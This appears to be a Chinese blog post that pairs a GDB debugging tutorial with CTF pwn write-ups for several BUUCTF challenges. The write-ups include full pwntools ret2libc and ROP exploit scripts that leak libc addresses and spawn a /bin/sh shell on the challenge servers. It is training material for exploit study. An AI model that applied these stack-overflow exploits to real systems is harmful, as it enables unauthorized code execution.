pwn04

GDB调试

简介 

UNIX及UNIX-like下的调试工具。虽然它是命令行模式的调试工具,但是它的功能强大到你无法想象,能够让用户在程序运行时观察程序的内部结构和内存的使用情况。

一般来说,GDB主要帮助你完成下面四个方面的功能:

1、按照自定义的方式启动运行需要调试的程序。
2、可以使用指定位置和条件表达式的方式来设置断点。
3、程序暂停时的值的监视。
4、动态改变程序的执行环境。

GDB 的主要功能就是监控程序的执行流程。这也就意味着,只有当源程序文件编译为可执行文件并执行时,并且该文件中必须包含必要的调试信息(比如各行代码所在的行号、包含程序中所有变量名称的列表(又称为符号表)等),GDB才会派上用场。

所以在编译时需要使用 gcc/g++ -g 选项编译源文件,才可生成满足 GDB 要求的可执行文件

原理

gdb就是基于ptrace这个系统调用来做的。其原理是利用ptrace系统调用,在被调试程序和gdb之间建立追踪关系。然后所有发送给被调试程序(被追踪线程)的信号(除SIGKILL)都会被gdb截获,gdb根据截获的信号,查看被调试程序相应的内存地址,并控制被调试的程序继续运行

调试命令

建立调试关系

用gdb调试程序,可以直接gdb ./test,也可以gdb <pid>(test的进程号)。这对应着使用ptrace建立跟踪关系的两种方式:
1)fork: 利用fork+execve执行被测试的程序,子进程在执行execve之前调用ptrace(PTRACE_TRACEME),建立了与父进程(debugger)的跟踪关系。如我们在分析strace时所示意的程序。

2)attach: debugger可以调用ptrace(PTRACE_ATTACH,pid,...),
建立自己与进程号为pid的进程间的跟踪关系。
即利用PTRACE_ATTACH,使自己变成被调试程序的父进程(用ps可以看到)。
用attach建立起来的跟踪关系,可以调用ptrace(PTRACE_DETACH,pid,...)来解除。
注意attach进程时的权限问题,如一个非root权限的进程是不能attach到一个root进程上的

断点调试


启动程序

根据不同场景的需要,GDB 调试器提供了多种方式来启动目标程序,其中最常用的就是run 指令,其次为 start 指令。也就是说,run和 start 指令都可以用来在 GDB 调试器中启动程序,它们之间的区别是:

默认情况下,run 指令会一直执行程序,直到执行结束。如果程序中手动设置有断点,则 run指令会执行程序至第一个断点处;

start 指令会执行程序至main()主函数的起始位置,即在main()函数的第一行语句处停止执行(该行代码尚未执行)。

break命令
break 命令(可以用b 代替)常用的语法格式有以下 2 种。

1、(gdb) break location      // b location
2、(gdb) break ... if cond   // b .. if cond


观察断点监控变量值的变化

观察断点
要知道,GDB 调试器支持在程序中打 3 种断点,分别为普通断点、观察断点和捕捉断点。其中 break 命令打的就是普通断点,而 watch 命令打的为观察断点。

使用 GDB 调试程序的过程中,借助观察断点可以监控程序中某个变量或者表达式的值,只要发生改变,程序就会停止执行。相比普通断点,观察断点不需要我们预测变量(表达式)值发生改变的具体位置

(gdb) watch cond

和 watch 命令功能相似的,还有 rwatch 和awatch 命令。其中:

rwatch 命令:只要程序中出现读取目标变量(表达式)的值的操作,程序就会停止运行;
awatch 命令:只要程序中出现读取目标变量(表达式)的值或者改变值的操作,程序就会停止运行。

查看变量或表达式的值

对于在调试期间查看某个变量或表达式的值,GDB 调试器提供有 2 种方法,即使用 print 命令或者 display命令。

print 命令
它的功能就是在 GDB 调试程序的过程中,输出或者修改指定变量或者表达式的值。

print 命令可以缩写为 p,最常用的语法格式如下所示:

(gdb) print num
(gdb) p num

其中,参数 num 用来代指要查看或者修改的目标变量或者表达式。

当程序中包含多个作用域不同但名称相同的变量或表达式时,可以借助::运算符明确指定要查看的目标变量或表达式。::运算符的语法格式如下:

(gdb) print file::variable
(gdb) print function::variable

其中 file用于指定具体的文件名,funciton 用于指定具体所在函数的函数名,variable表示要查看的目标变量或表达式。

另外,print也可以打印出类或者结构体变量的值。

display 命令

和 print 命令一样,display 命令也用于调试阶段查看某个变量或表达式的值,它们的区别是,使用 display 命令查看变量或表达式的值,每当程序暂停执行(例如单步执行)时,GDB 调试器都会自动帮我们打印出来,而 print 命令则不会。

也就是说,使用 1 次 print 命令只能查看 1 次某个变量或表达式的值,而同样使用 1 次 display 命令,每次程序暂停执行时都会自动打印出目标变量或表达式的值。因此,当我们想频繁查看某个变量或表达式的值从而观察它的变化情况时,使用 display 命令可以一劳永逸。

display 命令没有缩写形式,常用的语法格式如下 2 种:

(gdb) display expr
(gdb) display/fmt expr

注意,display 命令和 /fmt 之间不要留有空格。以 /x 为例,应写为 (gdb)display/x expr。

单步调试


根据实际场景的需要,GDB 调试器共提供了 3 种可实现单步调试程序的方法,即使用 next、step 和 until 命令。换句话说,这 3 个命令都可以控制 GDB调试器每次仅执行 1 行代码,但除此之外,它们各自还有不同的功能。

next命令
next 是最常用来进行单步调试的命令,其最大的特点是当遇到包含调用函数的语句时,无论函数内部包含多少行代码,next 指令都会一步执行完。也就是说,对于调用的函数来说,next 命令只会将其视作一行代码。

next 命令可以缩写为n 命令,使用方法也很简单,语法格式如下:

(gdb) next count

step命令
通常情况下,step 命令和next命令的功能相同,都是单步执行程序。不同之处在于,当step 命令所执行的代码行中包含函数时,会进入该函数内部,并在函数第一行代码处停止执行。

step 命令可以缩写为 s命令,用法和 next 命令相同,语法格式如下:

(gdb) step count

until命令
until 命令可以简写为 u 命令,有 2 种语法格式,如下所示:

1、(gdb) until
2、(gdb) until location

其中,参数 location为某一行代码的行号。

不带参数的 until命令,可以使 GDB调试器快速运行完当前的循环体,并运行至循环体外停止。注意,until 命令并非任何情况下都会发挥这个作用,只有当执行至循环体尾部(最后一行代码)时,until命令才会发生此作用;反之,until命令和 next 命令的功能一样,只是单步执行程序。

return命令
实际调试时,在某个函数中调试一段时间后,可能不需要再一步步执行到函数返回处,希望直接执行完当前函数,这时可以使用 finish命令。与finish 命令类似的还有 return 命令,它们都可以结束当前执行的函数。

finish命令
finish 命令和 return命令的区别是,finish命令会执行函数到正常退出;而 return 命令是立即结束执行当前函数并返回,也就是说,如果当前函数还有剩余的代码未执行完毕,也不会执行了。除此之外,return命令还有一个功能,即可以指定该函数的返回值。

jump命令
jump 命令的功能是直接跳到指定行继续执行程序,其语法格式为:

(gdb) jump location

其中,location 通常为某一行代码的行号。

也就是说,jump 命令可以略过某些代码,直接跳到 location处的代码继续执行程序。这意味着,如果你跳过了某个变量(对象)的初始化代码,直接执行操作该变量(对象)的代码,很可能会导致程序崩溃或出现其它 Bug。另外,如果 jump跳转到的位置后续没有断点,那么 GDB会直接执行自跳转处开始的后续代码。

search 命令
调试文件时,某些时候可能会去找寻找某一行或者是某一部分的代码。可以使用 list 显示全部的源码,然后进行查看。当源文件的代码量较少时,我们可以使用这种方式搜索。如果源文件的代码量很大,使用这种方式寻找效率会很低。所以 GDB中提供了相关的源代码搜索的的search命令。

search 命令的语法格式为:

search <regexp>
reverse-search <regexp>

第一项命令格式表示从当前行的开始向前搜索,后一项表示从当前行开始向后搜索。其中regexp 就是正则表达式,正则表达式描述了一种字符串匹配的模式,可以用来检查一个串中是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串。很多的编程语言都支持使用正则表达式。

断点调试和单步调试参考GDB调试命令详解-CSDN博客

原理见Ptrace 详解_ptrace 详细-CSDN博客

1(ret2libc)

ret2libc 即控制函数的执行 libc 库中的函数,通常是返回至某个函数的 plt 处或者函数的具
体位置 ( 即函数对应的 got 表项的内容 ) 。一般情况下,我们会选择执行 system("/bin/sh")
故而此时我们需要知道 system 函数的地址。

checksec(64位,开启了nx保护)

进入ida分析,先查看main函数伪代码

查看begin函数,没有异常,查看encrypt函数,发现了gets溢出 

并且由于程序本身并没有 system /bin/sh的调用,放弃使用ret2text和ret2syscall的想法

故我们考虑利用 ret2libc

 通过已经调用过的函数去泄露它在程序中的地址,然后利用地址末尾的3个字节,去找到该程序所用的libc版本;

程序中函数的地址跟libc中函数的地址的关系:程序函数地址=加载程序的基址+libc中函数偏移量

想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址

通过LibcSearcher得到该函数在对应libc中的偏移量即可得到 加载程序的基址

基本构造
在此之前,我们需要先了解32位和64位程序调用函数传参的差别;

32位直接通过栈来传参,而64位则先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多余6个参数,则再使用栈进行传参;

main_addr:通过IDA64即可查看main函数的起始地址为0x400B28

pop_rdi_addr:可通过使用ROPgadget工具进行查找,可得地址为 0x400c83

ROPgadget  --binary ./ciscn_2019_c_1 --only "pop|rdi|ret"


puts_got_addr:通过ELF程序获取 elf.got['puts']
puts_plt_addr:通过ELF程序获取 elf.plt['puts']

ret = 0x4006b9 :设置 ret 指令的地址,该指令用于返回函数调用


编写exp

涉及libcsearch,安装见lieanu/LibcSearcher:clibc 对 ctf 的偏移搜索。 (github.com)

from pwn import *
from LibcSearcher import *
#io = process("./ciscn_2019_c_1")
io = remote("node5.buuoj.cn",27310)
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x400c83
ret = 0x4006b9
#gdb.attach(io)
#pause()
encrypt_addr = elf.symbols["encrypt"]
main_addr = elf.symbols['main']
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) +p64(puts_got) + p64(puts_plt) +p64(encrypt_addr)
io.sendlineafter("Input your choice!\n",str(1))
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
puts_addr = u64(io.recvline().strip().ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 0x08) + p64(ret) +p64(pop_rdi_ret) +p64(str_bin_sh) + p64(system_addr) + p64(0)
io.sendlineafter("Input your Plaintext to be encrypted",payload)
io.interactive()

脚本分析 

1.encrypt_addr = elf.symbols["encrypt"] :从 ELF 对象中获取 encrypt
数的地址。
2.  main_addr = elf.symbols['main'] :从 ELF 对象中获取 main 函数的地址。
3.  payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) +
p64(puts_got) + p64(puts_plt) + p64(encrypt_addr) :构造 payload
于触发漏洞。 payload 包括一些填充数据( b'a' * (0x50 + 0x08) )和 ROP
链。 ROP 链的作用是构造栈上的一系列指令序列,以实现漏洞利用的目的。具
体来说,这个 ROP 链的作用是调用 puts(puts_got) ,将 puts 函数的真实地址
泄露出来,以便后续计算 libc 基址。
4.  io.sendlineafter("Input your choice!\n",str(1)) :发送字符串 "1"
远程服务,用于选择相应的功能。
5.  io.sendlineafter("Input your Plaintext to be
encrypted\n",payload) :发送 payload 给远程服务,用于触发漏洞。
6.  io.recvuntil(b"Ciphertext\n") :接收远程服务发送的数据,直到遇到字
符串 "Ciphertext\n"
7. io.recvuntil(b"\n") :接收远程服务发送的数据,直到遇到换行符。
8. puts_addr = u64(io.recvline().strip().ljust(8,b'\0')) :接收远程
服务发送的数据,将其转换为 64 位整数,即 puts 函数的真实地址。
9. libc = LibcSearcher("puts",puts_addr) :创建 LibcSearcher 对象,以便
后续通过 puts 函数地址查找 libc 基址和其他函数地址。
10. libcbase = puts_addr - libc.dump('puts') :计算 libc 基址。
11. system_addr = libcbase + libc.dump('system') :计算 system 函数的地
址。
12. str_bin_sh = libcbase + libc.dump('str_bin_sh') :计算 "/bin/sh"
符串的地址。
13. payload = b'a' * (0x50 + 0x08) + p64(ret) + p64(pop_rdi_ret) +
p64(str_bin_sh) + p64(system_addr) + p64(main_addr) :构造新的
payload ,其中包括填充数据、 ROP 链和 /bin/sh 字符串地址。这个 ROP 链的作
用是调用 system("/bin/sh") 函数。

ciscn_2019_en_2

1

checksec(64位,开启了nx保护)

ida中查看main函数的伪代码

 __isoc99_scanf用户输入选择,begin开始界面,查看encrypt函数

gets(s);:存在栈溢出的可能性。
if ( v0 >= strlen(s) ):对用户输入的数据判断了长度。
if ( s[x] <= 96 || s[x] > 122 )、if ( s[x] <= 64 || s[x] > 90 )、if ( s[x] > 47 && s[x] <= 57 ):对用户输入的数据分别做对应的加密。
(题目思路

gets(s);存在栈溢出。
用\x00绕过strlen(s),形成栈溢出。
泄露puts()地址,打常规ret2libc。)

ropgadget查找rdi

编写exp

from pwn import *

#start
#r = process("../buu/ciscn_2019_en_2")
 r = remote("node5.buuoj.cn",25722)
lib = ELF("../buu/ubuntu18(64).so")
elf = ELF("../buu/ciscn_2019_en_2")

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr = 0x400c83
main_addr = elf.symbols['main']
ret=0x4006b9

#attack
payload = b'\x00' + b'M'*(0x50+8-1) +p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recv()
r.sendline(b"1")
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr: " + hex(puts_addr))

# libc
base_addr = puts_addr - lib.symbols['puts']
system_addr = base_addr + lib.symbols['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr" + hex(bin_sh_addr))
# obj = LibcSearcher("puts", puts_addr)
# base_addr = puts_addr >> 24
# base_addr = base_addr << 24
# system_addr = base_addr+ obj.dump("system")        #system 偏移
# bin_sh_addr = base_addr+ obj.dump("str_bin_sh")    #/bin/sh 偏移

#attack2
payload2 = b'\x00' + b'M'*(0x50+8-1) + p64(ret) +p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline('1')
r.recv()
r.sendline(payload2)

r.interactive()

bjdctf_2020_babystack

1

checksec(64位,开启了nx保护)

进入ida分析 

发现注入的地方,这里有一个无符号整数,在无符号变化的时候,会出现整数溢出

运行的时候,会有两次输入,第一次你输入nbytes,之后第二次输入的截取你nbytes个,之后就继续往下找一下/bin/sh的位置在4006E6这个位置上。 

编写exp

jarvisoj_level2_x64

1

checksec(64位,开启了nx保护)

ida中查看main函数的伪代码 

进入vulnerable_function函数中发现了溢出漏洞

查看字符串,发现了system函数

bin/sh

接下来只需要构造rop链了

64位的函数调用的第一个参数由rdi寄存器传递,很显然需要用到pop rdi这个gadget,并且几乎每个64位程序里面都能找到它

再需要注意的就是,system调用的时候需要栈对齐,这里采用一个ret来对齐栈

 

编写exp

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('node5.buuoj.cn',27783)
#io=process('./level2_x64')
elf=ELF('./level2_x64')

ra()
sl('a'*0x88+p64(elf.search(asm('pop rdi\nret')).next())+p64(0x600a90)+p64(elf.search(asm('ret')).next())+p64(elf.plt['system']))

io.interactive()

 others_shellcode

想要获得一个shell, 除了system("/bin/sh") 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。

checksec(32位,开启了nx,pie保护)

进入ida分析,main函数中只有getshell这一个函数,不存在system和bin/sh ,查看getshell,发现了execve

tab+空格查看发现int 80指令,eax=0FFFFFFFFh-0FFFFFFF4h=11=result 

查看Linux系统调用号表,11对应的为execveLinux系统调用号表_linux系统调用编号表位置-CSDN博客

尝试nc连接 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值